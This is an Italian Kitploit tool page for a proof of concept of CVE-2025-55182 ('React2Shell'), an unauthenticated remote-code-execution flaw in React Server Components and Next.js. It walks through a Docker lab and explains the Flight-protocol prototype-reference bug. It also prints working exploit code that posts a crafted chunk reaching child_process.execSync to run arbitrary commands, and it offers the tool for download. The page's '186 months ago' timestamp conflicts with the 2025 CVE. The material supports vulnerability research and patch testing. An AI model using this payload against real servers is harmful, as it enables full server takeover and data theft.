Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-55182-poc — Prova di concetto per CVE-2025-55182 (React2Shell): RCE non autenticato in React Server Components / Next.js tramite deserializzazione del protocollo Flight. | Kitploit
Strumenti/GitHubGitHub/monarchfish/cve-2025-55182-poc
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubmonarchfish/cve-2025-55182-poc

cve-2025-55182-poc

Prova di concetto per CVE-2025-55182 (React2Shell): RCE non autenticato in React Server Components / Next.js tramite deserializzazione del protocollo Flight.

Vedi Repository
186 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Informazioni di Base

CVE-2025-55182 è una delle vulnerabilità dei framework web più impattanti del 2025. React Server Components (RSC) è ormai l'architettura dominante nelle applicazioni Next.js moderne, e un gran numero di progetti standard creati con create-next-app è interessato, senza la necessità di alcun codice personalizzato per essere sfruttato.

ElementoContenuto
ID CVECVE-2025-55182
AliasReact2Shell
Tipo di vulnerabilitàEsecuzione Remota di Codice non autenticata (Unauthenticated RCE); CWE-502 Deserializzazione di Dati Non Fidati (Deserialization of Untrusted Data) [3]
Punteggio CVSS10.0 (Critical) (CVSS 3.1, Facebook/CNA [2])
Pacchetti interessatireact-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack
Versioni interessateReact 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 e successive, 15.x, 16.x
Complessità dell'attaccoMolto bassa (singola richiesta HTTP POST)
Necessità di autenticazioneNo

Procedura di Creazione del POC

1. Creare l'App usando la sintassi ufficiale

Creare un'app Next utilizzando una versione vulnerabile (16.0.6):

pnpm create [email protected] next-app --yes

2. Creare una Server Action di test

  1. In next-app/app/ creare un nuovo file actions.ts e contrassegnarlo come Server Action:

    "use server";
    
    export async function testAction(formData: FormData) {
      console.log("Action called with:", formData);
    }
    
  2. Nella homepage (ad esempio app/page.tsx) aggiungere un form con action che punti a testAction e includere almeno un campo (es. un hidden input).

    Next.js genererà per questo form un hidden input HTML con name="$ACTION_ID_<40 字元 hex>"; il POC estrarrà questo ID dalla homepage tramite una regex.

3. Creare un ambiente POC containerizzato sicuro

I file next-app/Dockerfile e docker-compose.yml nel progetto possono essere usati per buildare ed eseguire l'app Next. Per la scrittura ci si può riferire all'esempio ufficiale [8].

Eseguire nella directory radice del progetto:

docker compose up --build -d

L'app Next sarà accessibile all'indirizzo http://localhost:3000.

Al termine del POC, rimuovere completamente l'ambiente Docker:

docker compose down -v

Passaggi di Sfruttamento della Vulnerabilità

Passo 1: Ottenere l'ACTION_ID

Durante l'esecuzione del POC, lo script effettuerà il fetch della homepage ed estrarrà l'ID tramite la regex \$ACTION_ID_([a-f0-9]{40})/. Esempio:

const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/

async function extractActionIdFromPage(baseUrl: string) {
  const response = await fetch(baseUrl);
  const html = await response.text();
  const match = html.match(ACTION_ID_REGEX);
  return match ? match[1] : "";
}

Passo 2: Eseguire lo Sfruttamento

Dopo aver installato le dipendenze nella directory radice del progetto, eseguire:

pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]

Di seguito il frammento di codice chiave:

function escapeExecutable(executable: string) {
  return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}

const escapedExecutable = escapeExecutable(executable);

const craftedChunk = {
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
    _prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');

const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);

try {
  const response = await fetch(baseUrl, {
    method: "POST",
    headers: { "Next-Action": actionId },
    body: formData,
    signal: controller.signal,
  });
  clearTimeout(timeoutId);
  const text = await response.text();
  console.log(`Status Code: ${response.status}`);
  console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
  // handle timeout or error
}

Esempio di scrittura di un file sulla macchina target:

pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"

Passo 3: Osservare i Risultati

  • In caso di RCE riuscito, il server potrebbe bloccarsi o andare in timeout dopo l'esecuzione del comando: il timeout della richiesta è un comportamento previsto.
  • Verificare sulla macchina target che il comando sia stato eseguito (ad esempio controllando il file, il processo).
  • È possibile usare docker compose exec per entrare nel container e ispezionare, oppure utilizzare Docker Desktop.

Spiegazione del Principio

Posizione della Vulnerabilità

La vulnerabilità risiede nel meccanismo di deserializzazione del protocollo Flight di React (RSC Flight Deserializer). Questo meccanismo è responsabile del trasferimento dello stato dei componenti React tra server e client, ma il processo presenta un grave problema di trust boundary.

Il protocollo React Flight è il wire format che React ha progettato per Server Components e Server Actions: serializza l'albero dei componenti, i parametri delle funzioni, ecc., in un flusso di chunk rappresentato in JSON, e stabilisce riferimenti tra i chunk tramite $numero e $numero:nomeChiave, consentendo al server di ricostruire i valori JavaScript completi.

Catena di Sfruttamento (Exploit Chain)

Attaccante invia HTTP POST malevolo
        ↓
[Fase 1] Crea un oggetto con auto-riferimento (Self-referential loop)
        ↓
[Fase 2] Induce il motore JavaScript a chiamare una funzione controllata dall'attaccante
        ↓
[Fase 3] Inietta dati malevoli per attivare il flusso di inizializzazione di Flight
        ↓
[Fase 4] Tramite Blob Handler chiama il Function constructor
        ↓
Esecuzione di JavaScript arbitrario sul server (RCE)

React Server e Formato di Trasmissione

Le Server Functions di React (in Next.js, le Server Actions) serializzano i dati che il frontend invia al backend tramite il protocollo React Flight in "blocchi" chiamati chunk, inviati poi come form data.

I vantaggi di questo design includono:

  • Trasmissione in streaming: i chunk possono essere generati e analizzati in sequenza, senza attendere l'intero payload, facilitando la gestione della latenza e della memoria.
  • Deduplicazione e condivisione: uno stesso dato viene serializzato una sola volta e più riferimenti puntano ad esso, riducendo la duplicazione e il volume trasmesso.
  • Compatibilità con form POST: i chunk vengono inviati come campi multipart, senza necessità di protocolli binari personalizzati, e sono compatibili con CDN, proxy e debug esistenti.
  • Espressività per strutture complesse: supporta oggetti annidati e strutture grafiche espresse tramite riferimenti, soddisfacendo i tipi ricchi richiesti dalle RPC.

I chunk possono riferirsi tra loro, ad esempio:

  • chunk 0:["$1"] (riferimento al chunk 1)
  • chunk 1:{"object":"fruit","name":"$2:fruitName"} (riferimento al fruitName del chunk 2)
  • chunk 2:{"fruitName":"cherry"}

Il server interpreta ottenendo: { object: 'fruit', name: 'cherry' }. In altre parole, il protocollo consente di puntare alle proprietà di altri chunk con $numero:nomeChiave per comporre l'oggetto JavaScript finale.

Causa della Vulnerabilità

Nell'implementazione pre-patch, durante la risoluzione di questi riferimenti non veniva verificato rigorosamente se la chiave esistesse effettivamente come proprietà diretta dell'oggetto; gli attaccanti potevano quindi leggere le proprietà sul prototipo (prototype) dell'oggetto tramite i riferimenti.

Ad esempio, è possibile costruire il seguente payload:

  • chunk 0:["$1:__proto__:constructor:constructor"]
  • chunk 1:{"x":1}
Scarica lo strumento